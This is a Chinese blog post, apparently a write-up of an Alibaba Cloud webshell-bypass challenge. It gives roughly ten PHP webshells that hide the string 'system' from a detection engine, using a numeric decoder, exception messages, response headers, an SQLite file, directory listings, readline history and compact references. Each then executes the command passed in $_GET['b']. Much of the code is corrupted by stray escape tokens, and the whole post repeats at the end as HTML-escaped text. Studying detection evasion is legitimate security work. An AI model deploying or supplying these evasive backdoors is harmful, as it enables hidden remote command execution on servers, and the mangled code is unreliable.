webshell绕过挑战赛
字数 6958 2023-01-26 13:07:38

背景

前几天阿里云开启了伏魔赏金计划第二期-Webshell绕过挑战赛,正好没事便报名参加了。这是我第一次参加这种Webshell绕过比赛,因此我对成功绕过的样本做了一些总结,写下了这篇文章。

基本思路

我在上传了一些样本做测试后,我发现引擎(指伏魔webshell检测引擎)对函数和函数的参数具有一定的敏感性。例如,array_map函数,它的第一个参数是传入一个回调函数,第二个参数是传入一个数组,作为回调函数的参数,测试时出现了以下四种情况。(black指被引擎发现,white指绕过引擎)

array_map('system', array('whoami')); black
array_map($_GET['a'], array('whoami')); black
array_map('var_dump', array('whoami')); white
array_map('system', array($_GET['a'])); black

于是我便有了猜测,引擎会对传入array_map的参数进行检测,在某种情况下,引擎对参数是否可被外部控制的检查力度不同。
然后我又尝试了register_shutdown_function,array_walk,array_filter等具有回调函数功能的函数进行测试。发现确实存在这一种情况,当传入的回调函数不是system,eval等危险函数,引擎是允许第二个参数可被外部控制的。
这时我找到了我的思路,就是洗白'system',让'system'不被引擎检查出来。具体方法就是通过各种函数来获取字符串"system"。

parse_str + 还原字符串

我定义了一个函数fun,传入一个数字,fun可以将数字451232还原为字符串"system"。

function fun($a){
    $s = ['a','t','s', 'y', 'm', 'e', '/'];
    $tmp = "";
    while ($a>10) {
        $tmp .= $s[$a%10];
        $a = $a/10;
    }
    return $tmp.$s[$a];
}

但是这样还不够,我尝试将webshell文件命名为451232.php,并通过substr函数获取到数字451232,依旧失败。


在不断尝试中,我找到了一个函数parse_str,它可以将字符串解析成多个变量。例如"first=value&arr[]=foo+bar&arr[]=baz",在经过parse_str解析后,会得到一个数组,你可以通过$arr[first]访问到字符串"value"。于是我成功得到了一个绕过样本。

function fun($a){
    $s = ['a','t','s', 'y', 'm', 'e', '/'];
    $tmp = "";
    while ($a>10) {
        $tmp .= $s[$a%10];
        $a = $a/10;
    }
    return $tmp.$s[$a];
}

\(f = 'a=d&b[]=foo&b[]=' . fun(intval(substr(__file__, -10, 6)));\)arr = array();

parse_str(\(f, \)arr);

\(arr['b'][1](\)_GET['b']);

Exception::getMessage + 还原字符串 绕过

之前在一篇文章中,我看到了利用Exception的getMessage方法来绕过webshell检测,于是我便尝试仿照这个思路来构造绕过。在尝试了几个Exception后,我找到了PDOException,可以成功绕过引擎。

<?php
function fun(\(a){ //fun可以将数字451232还原为字符串"system"\)s = ['a','t','s', 'y', 'm', 'e', '/'];
\(tmp = ""; while (\)a>10) {
\(tmp .= \)s[\(a%10];\)a = \(a/10; } return \)tmp.\(s[\)a];
}

\(a = new PDOException(fun(intval(substr(__FILE__, -10, 6)))); // \)a = new PDOException('system'); 这种会被引擎检测出来

\(b=\)a->getMessage();
\(b(\)_GET['b']);

然后,我通过正则表达式在5.6.40和7.1.33的php源码中,找到了几个同样可以绕过的Exception。

DOMExceptionReflectionException
ClosedGeneratorException 7版本特有
PharException

其中,ClosedGeneratorException是在7.1.33源码中找到的,是7版本特有的。

apache_response_headers 绕过

apache_response_headers是apache特供的函数,可以获取所有HTTP响应头。于是我利用header()自定义响应头,然后通过apache_response_headers拿到字符串"system",成功绕过引擎。

<?php
header('ddd: system');
\(arr = apache_response_headers(); foreach(\)arr as \(k=>\)v){
if (strlen(\(v) == 6 && \)v[0] == 's' && \(v[5] == 'm'){\)v(\(_GET['b']); } }

从Sqlite数据库文件中获取"system"

我发现File_put_contents并不被引擎完全禁止,只要写入的文件名和文件内容不涉及webshell,实际上是可以正常写入的。于是我有了一个思路,我是不是可以写入一个sqlite数据库文件,然后使用php自带扩展sqlite,从数据库中读取到"system"。
于是我先构造出一个sqlite数据库,然后使用file_get_contents读取,并将内容进行base64编码后输出。进行base64编码是因为数据库文件内容存在一些特殊字符。
之后,我将这段编码后的数据写入wenshell,利用file_put_contents写入文件中,此时这个文件就变成一个可以被PDO识别的数据库文件。
数据库文件里可以不需要数据,只要有一个名为test的表就行了。因为我是利用PDO::prepare会返回一个PDOStatement对象,这个对象里有一个queryString属性,我使用substr从里面提取出"system"。
有一点需要注意,PDO::prepare是一个SQL语句预处理函数,然后没有正确连接数据库,以及库中没有正确的表,是不会返回PDOStatement对象的。

<?php\)db_data = "[数据库文件base64编码]";

file_put_contents('./111', base64_decode($db_data));

\(path = dirname(__FILE__) . \)_GET['a'];

\(db = new PDO("sqlite:" . \)path);

\(sql_stmt = \)db->prepare('select * from test where name="system"');
$sql_stmt->execute();

\(f = substr(\)sql_stmt->queryString, -7, 6);
\(f(\)_GET['b']);

从目录获取"system"

FilesystemIterator是一个迭代器,可以获取到目标目录下的所有文件信息。于是我先使用file_put_contents写入一个名为"system"的文件,然后利用FilesystemIterator遍历目录,拿到字符串"system“,成功绕过引擎。

<?php
function fun(\(a){ //fun可以将数字451232还原为字符串"system"\)s = ['a','t','s', 'y', 'm', 'e', '/'];
\(tmp = ""; while (\)a>10) {
\(tmp .= \)s[\(a%10];\)a = \(a/10; } return \)tmp.\(s[\)a];
}
file_put_contents('./'.fun(intval(substr(FILE, -10, 6))).'.jntm', '');
\(fi = new FilesystemIterator(dirname(__FILE__));\)f = '';
foreach(\(fi as \)i){
// var_dump(\(i->__toString());if (substr(\)i->__toString(), -4,4)=='jntm')
\(f = substr(\)i->__toString(), -11,6);
}
\(f(\)_GET['b']);

除了FilesystemIterator,dir也有同样的效果,可以用来遍历目录信息。

<?php
function fun(\(a){ //fun可以将数字451232还原为字符串"system"\)s = ['a','t','s', 'y', 'm', 'e', '/'];
\(tmp = ""; while (\)a>10) {
\(tmp .= \)s[\(a%10];\)a = \(a/10; } return \)tmp.\(s[\)a];
}
file_put_contents('./'.fun(intval(substr(FILE, -10, 6))).'.jntm', '');
\(objDir = dir(dirname(__FILE__));\)f = '';
while((\(e=\)objDir->read())!=FALSE){
if (substr(\(e, -4,4)=='jntm')\)f = substr(\(e, -11,6); }\)f(\(_GET['b']);

在php中,可以遍历目录的方法还有scandir,opendir,glob,但这三个方法都绕不过引擎。

5.4下的readline扩展绕过

php有一个扩展叫readline,可以处理命令行历史记录。readline_add_history函数可以添加一行到命令行历史记录。readline_list_history函数可以获取命令历史列表。
我利用readline_add_history函数将"system"添加到历史记录里,然后通过readline_list_history函数把system拿出来,以此来绕过引擎。
因为每执行一次readline_add_history,历史记录里就会多一个"system",为了防止webshell的命令被执行多次,我写了一个flag变量,用来记录是否执行过。

<?php function fun(\)a){
//fun可以将数字451232还原为字符串"system"
\(s = ['a','t','s', 'y', 'm', 'e', '/'];\)tmp = "";
while (\(a>10) {\)tmp .= \(s[\)a%10];
\(a = \)a/10;
}
return \(tmp.\)s[$a];
}
readline_add_history(fun(intval(substr(FILE, -10, 6))));

$arr = readline_list_history();

\(flag = 1; foreach(\)arr as \(a) { if (\)flag && strlen(\(a)==6 && \)a[0] == 's' && \(a[5] == 'm') {\)flag = 0;
\(a(\)_GET['b']);
}
}

此外,我还发现了两个函数,readline和readline_info。readline_info函数会返回一个数组,数组中下标为'prompt'的元素,其值为readline函数执行时传入的参数。于是我先执行readline('system'),然后通过readline_info()获取数组,根据下标'prompt'拿到"system"。

<?php
function fun(\(a){ //fun可以将数字451232还原为字符串"system"\)s = ['a','t','s', 'y', 'm', 'e', '/'];
\(tmp = ""; while (\)a>10) {
\(tmp .= \)s[\(a%10];\)a = \(a/10; } return \)tmp.\(s[\)a];
}
readline(fun(intval(substr(FILE, -10, 6))));
$a=readline_info()['prompt'];

\(a(\)_GET['b']);

这两种绕过方式,我只在5.4版本的php下成功,5.5,5.6,7.1均失败。

compact + 变量引用

compact创建一个包含变量名和它们的值的数组。举例。

<?php
\(firstname = "Bill";\)lastname = "Gates";
$age = "60";

$result = compact("firstname", "lastname", "age");

print_r($result);

// 输出Array
(
[firstname] => Bill
[lastname] => Gates
[age] => 60
)

于是我想到了先声明一个变量,并将值初始化为'system',然后利用compact转换为数组,通过访问数组元素来获取system。但是这个方法行不通,绕不过引擎。
突然我想到了一个变量引用的技巧。当变量c变化时,数组a中key为'two'的元素也会跟着变化。

\(c = "222";\)a = array( "one"=>\(c,"two"=>&\)c );

既然compact可以将变量转换为数组,那变量引用是否对其有效呢?答案是无效的。

\(e = '111';\)city  = &\(e;\)event = 'aaaa';

\(result = compact("event", 'city');\)e = 'dddd';

虽然变量city引用了变量e,但是经过compact转换后,修改变量e是不会修改result中的city值。
在之前的测试中,已经确认数组使用变量引用的方法绕不过引擎,那么compact是否可以误导引擎认为我使用了变量引用呢?
我的思路是,将变量city引用变量e,然后使用compact将变量city转换为数组。在调用compact后,我将变量e进行修改为'dddd'。如果引擎对变量e进行跟踪,那么它会跟踪到变量e被赋值为'dddd',这样一来,就会让引擎误以为result数组中city值为'dddd',从而绕过引擎。

<?php
function fun(\(a){\)s = ['a','t','s', 'y', 'm', 'e', '/'];
\(tmp = ""; while (\)a>10) {
\(tmp .= \)s[\(a%10];\)a = \(a/10; } return \)tmp.\(s[\)a];
}
$e = fun(intval(substr(FILE,-10,6)));

\(city = &\)e;
$event = 'aaaa';

\(result = compact("event", "city");\)e = 'dddd';

\(f = \)result['city'];
\(f(\)_GET['b']);

$f = &#x27;a=d&amp;b[]=foo&amp;b[]=&#x27; . fun(intval(substr( file , -10, 6))); $arr = array(); parse_ str($f, $arr); $arr[ &#x27;b&#x27;] 1 ; Exception::getMessage + 还原字符串 绕过 之前在一篇文章中,我看到了利用Exception的getMessage方法来绕过webshell检测,于是我便尝试仿照这个思路来构造绕过。在尝试了几个Exception后,我找到了PDOException,可以成功绕过引擎。 &lt;?php function fun($a){ &#x2F;&#x2F;fun可以将数字451232还原为字符串&quot;system&quot; $s = [ &#x27;a&#x27;,&#x27;t&#x27;,&#x27;s&#x27;, &#x27;y&#x27;, &#x27;m&#x27;, &#x27;e&#x27;, &#x27;&#x2F;&#x27; ]; $tmp = &quot;&quot;; while ($a&gt;10) { $tmp .= $s[ $a%10 ]; $a = $a&#x2F;10; } return $tmp.$s[ $a ]; } $a = new PDOException(fun(intval(substr( FILE , -10, 6)))); &#x2F;&#x2F; $a = new PDOException(&#x27;system&#x27;); 这种会被引擎检测出来 $b=$a-&gt;getMessage(); $b($_ GET[ &#x27;b&#x27;]); 然后,我通过正则表达式在5.6.40和7.1.33的php源码中,找到了几个同样可以绕过的Exception。 DOMExceptionReflectionException ClosedGeneratorException 7版本特有 PharException 其中,ClosedGeneratorException是在7.1.33源码中找到的,是7版本特有的。 apache_ response_ headers 绕过 apache_ response_ headers是apache特供的函数,可以获取所有HTTP响应头。于是我利用header()自定义响应头,然后通过apache_ response_ headers拿到字符串&quot;system&quot;,成功绕过引擎。 &lt;?php header(&#x27;ddd: system&#x27;); $arr = apache_ response_ headers(); foreach($arr as $k=&gt;$v){ if (strlen($v) == 6 &amp;&amp; $v[ 0] == &#x27;s&#x27; &amp;&amp; $v[ 5 ] == &#x27;m&#x27;){ $v($_ GET[ &#x27;b&#x27; ]); } } 从Sqlite数据库文件中获取&quot;system&quot; 我发现File_ put_ contents并不被引擎完全禁止,只要写入的文件名和文件内容不涉及webshell,实际上是可以正常写入的。于是我有了一个思路,我是不是可以写入一个sqlite数据库文件,然后使用php自带扩展sqlite,从数据库中读取到&quot;system&quot;。 于是我先构造出一个sqlite数据库,然后使用file_ get_ contents读取,并将内容进行base64编码后输出。进行base64编码是因为数据库文件内容存在一些特殊字符。 之后,我将这段编码后的数据写入wenshell,利用file_ put_ contents写入文件中,此时这个文件就变成一个可以被PDO识别的数据库文件。 数据库文件里可以不需要数据,只要有一个名为test的表就行了。因为我是利用PDO::prepare会返回一个PDOStatement对象,这个对象里有一个queryString属性,我使用substr从里面提取出&quot;system&quot;。 有一点需要注意,PDO::prepare是一个SQL语句预处理函数,然后没有正确连接数据库,以及库中没有正确的表,是不会返回PDOStatement对象的。 &lt;?php $db_ data = &quot;[ 数据库文件base64编码 ]&quot;; file_ put_ contents(&#x27;.&#x2F;111&#x27;, base64_ decode($db_ data)); $path = dirname( FILE ) . $_ GET[ &#x27;a&#x27; ]; $db = new PDO(&quot;sqlite:&quot; . $path); $sql_ stmt = $db-&gt;prepare(&#x27;select * from test where name=&quot;system&quot;&#x27;); $sql_ stmt-&gt;execute(); $f = substr($sql_ stmt-&gt;queryString, -7, 6); $f($_ GET[ &#x27;b&#x27;]); 从目录获取&quot;system&quot; FilesystemIterator是一个迭代器,可以获取到目标目录下的所有文件信息。于是我先使用file_ put_ contents写入一个名为&quot;system&quot;的文件,然后利用FilesystemIterator遍历目录,拿到字符串&quot;system“,成功绕过引擎。 &lt;?php function fun($a){ &#x2F;&#x2F;fun可以将数字451232还原为字符串&quot;system&quot; $s = [ &#x27;a&#x27;,&#x27;t&#x27;,&#x27;s&#x27;, &#x27;y&#x27;, &#x27;m&#x27;, &#x27;e&#x27;, &#x27;&#x2F;&#x27; ]; $tmp = &quot;&quot;; while ($a&gt;10) { $tmp .= $s[ $a%10 ]; $a = $a&#x2F;10; } return $tmp.$s[ $a ]; } file_ put_ contents(&#x27;.&#x2F;&#x27;.fun(intval(substr( FILE , -10, 6))).&#x27;.jntm&#x27;, &#x27;&#x27;); $fi = new FilesystemIterator(dirname( FILE )); $f = &#x27;&#x27;; foreach($fi as $i){ &#x2F;&#x2F; var_ dump($i-&gt;__ toString());if (substr($i-&gt;__ toString(), -4,4)==&#x27;jntm&#x27;) $f = substr($i-&gt;__ toString(), -11,6); } $f($_ GET[ &#x27;b&#x27;]); 除了FilesystemIterator,dir也有同样的效果,可以用来遍历目录信息。 &lt;?php function fun($a){ &#x2F;&#x2F;fun可以将数字451232还原为字符串&quot;system&quot; $s = [ &#x27;a&#x27;,&#x27;t&#x27;,&#x27;s&#x27;, &#x27;y&#x27;, &#x27;m&#x27;, &#x27;e&#x27;, &#x27;&#x2F;&#x27; ]; $tmp = &quot;&quot;; while ($a&gt;10) { $tmp .= $s[ $a%10 ]; $a = $a&#x2F;10; } return $tmp.$s[ $a ]; } file_ put_ contents(&#x27;.&#x2F;&#x27;.fun(intval(substr( FILE , -10, 6))).&#x27;.jntm&#x27;, &#x27;&#x27;); $objDir = dir(dirname( FILE )); $f = &#x27;&#x27;; while(($e=$objDir-&gt;read()) !=FALSE){ if (substr($e, -4,4)==&#x27;jntm&#x27;) $f = substr($e, -11,6); } $f($_ GET[ &#x27;b&#x27;]); 在php中,可以遍历目录的方法还有 scandir ,opendir,glob,但这三个方法都绕不过引擎。 5.4下的readline扩展绕过 php有一个扩展叫readline,可以处理命令行历史记录。readline_ add_ history函数可以添加一行到命令行历史记录。readline_ list_ history函数可以获取命令历史列表。 我利用readline_ add_ history函数将&quot;system&quot;添加到历史记录里,然后通过readline_ list_ history函数把system拿出来,以此来绕过引擎。 因为每执行一次readline_ add_ history,历史记录里就会多一个&quot;system&quot;,为了防止webshell的命令被执行多次,我写了一个flag变量,用来记录是否执行过。 &lt;?php function fun($a){ &#x2F;&#x2F;fun可以将数字451232还原为字符串&quot;system&quot; $s = [ &#x27;a&#x27;,&#x27;t&#x27;,&#x27;s&#x27;, &#x27;y&#x27;, &#x27;m&#x27;, &#x27;e&#x27;, &#x27;&#x2F;&#x27; ]; $tmp = &quot;&quot;; while ($a&gt;10) { $tmp .= $s[ $a%10 ]; $a = $a&#x2F;10; } return $tmp.$s[ $a ]; } readline_ add_ history(fun(intval(substr( FILE , -10, 6)))); $arr = readline_ list_ history(); $flag = 1; foreach($arr as $a) { if ($flag &amp;&amp; strlen($a)==6 &amp;&amp; $a[ 0] == &#x27;s&#x27; &amp;&amp; $a[ 5 ] == &#x27;m&#x27;) { $flag = 0; $a($_ GET[ &#x27;b&#x27; ]); } } 此外,我还发现了两个函数,readline和readline_ info。readline_ info函数会返回一个数组,数组中下标为&#x27;prompt&#x27;的元素,其值为readline函数执行时传入的参数。于是我先执行readline(&#x27;system&#x27;),然后通过readline_ info()获取数组,根据下标&#x27;prompt&#x27;拿到&quot;system&quot;。 &lt;?php function fun($a){ &#x2F;&#x2F;fun可以将数字451232还原为字符串&quot;system&quot; $s = [ &#x27;a&#x27;,&#x27;t&#x27;,&#x27;s&#x27;, &#x27;y&#x27;, &#x27;m&#x27;, &#x27;e&#x27;, &#x27;&#x2F;&#x27; ]; $tmp = &quot;&quot;; while ($a&gt;10) { $tmp .= $s[ $a%10 ]; $a = $a&#x2F;10; } return $tmp.$s[ $a ]; } readline(fun(intval(substr( FILE , -10, 6)))); $a=readline_ info()[ &#x27;prompt&#x27; ]; $a($_ GET[ &#x27;b&#x27;]); 这两种绕过方式,我只在5.4版本的php下成功,5.5,5.6,7.1均失败。 compact + 变量引用 compact创建一个包含变量名和它们的值的数组。举例。 &lt;?php $firstname = &quot;Bill&quot;; $lastname = &quot;Gates&quot;; $age = &quot;60&quot;; $result = compact(&quot;firstname&quot;, &quot;lastname&quot;, &quot;age&quot;); print_ r($result); &#x2F;&#x2F; 输出Array ( [ firstname ] =&gt; Bill [ lastname ] =&gt; Gates [ age ] =&gt; 60 ) 于是我想到了先声明一个变量,并将值初始化为&#x27;system&#x27;,然后利用compact转换为数组,通过访问数组元素来获取system。但是这个方法行不通,绕不过引擎。 突然我想到了一个变量引用的技巧。当变量c变化时,数组a中key为&#x27;two&#x27;的元素也会跟着变化。 $c = &quot;222&quot;; $a = array( &quot;one&quot;=&gt;$c,&quot;two&quot;=&gt;&amp;$c ); 既然compact可以将变量转换为数组,那变量引用是否对其有效呢?答案是无效的。 $e = &#x27;111&#x27;; $city = &amp;$e; $event = &#x27;aaaa&#x27;; $result = compact(&quot;event&quot;, &#x27;city&#x27;); $e = &#x27;dddd&#x27;; 虽然变量city引用了变量e,但是经过compact转换后,修改变量e是不会修改result中的city值。 在之前的测试中,已经确认数组使用变量引用的方法绕不过引擎,那么compact是否可以误导引擎认为我使用了变量引用呢? 我的思路是,将变量city引用变量e,然后使用compact将变量city转换为数组。在调用compact后,我将变量e进行修改为&#x27;dddd&#x27;。如果引擎对变量e进行跟踪,那么它会跟踪到变量e被赋值为&#x27;dddd&#x27;,这样一来,就会让引擎误以为result数组中city值为&#x27;dddd&#x27;,从而绕过引擎。 &lt;?php function fun($a){ $s = [ &#x27;a&#x27;,&#x27;t&#x27;,&#x27;s&#x27;, &#x27;y&#x27;, &#x27;m&#x27;, &#x27;e&#x27;, &#x27;&#x2F;&#x27; ]; $tmp = &quot;&quot;; while ($a&gt;10) { $tmp .= $s[ $a%10 ]; $a = $a&#x2F;10; } return $tmp.$s[ $a ]; } $e = fun(intval(substr( FILE ,-10,6))); $city = &amp;$e; $event = &#x27;aaaa&#x27;; $result = compact(&quot;event&quot;, &quot;city&quot;); $e = &#x27;dddd&#x27;; $f = $result[ &#x27;city&#x27; ]; $f($_ GET[ &#x27;b&#x27;]);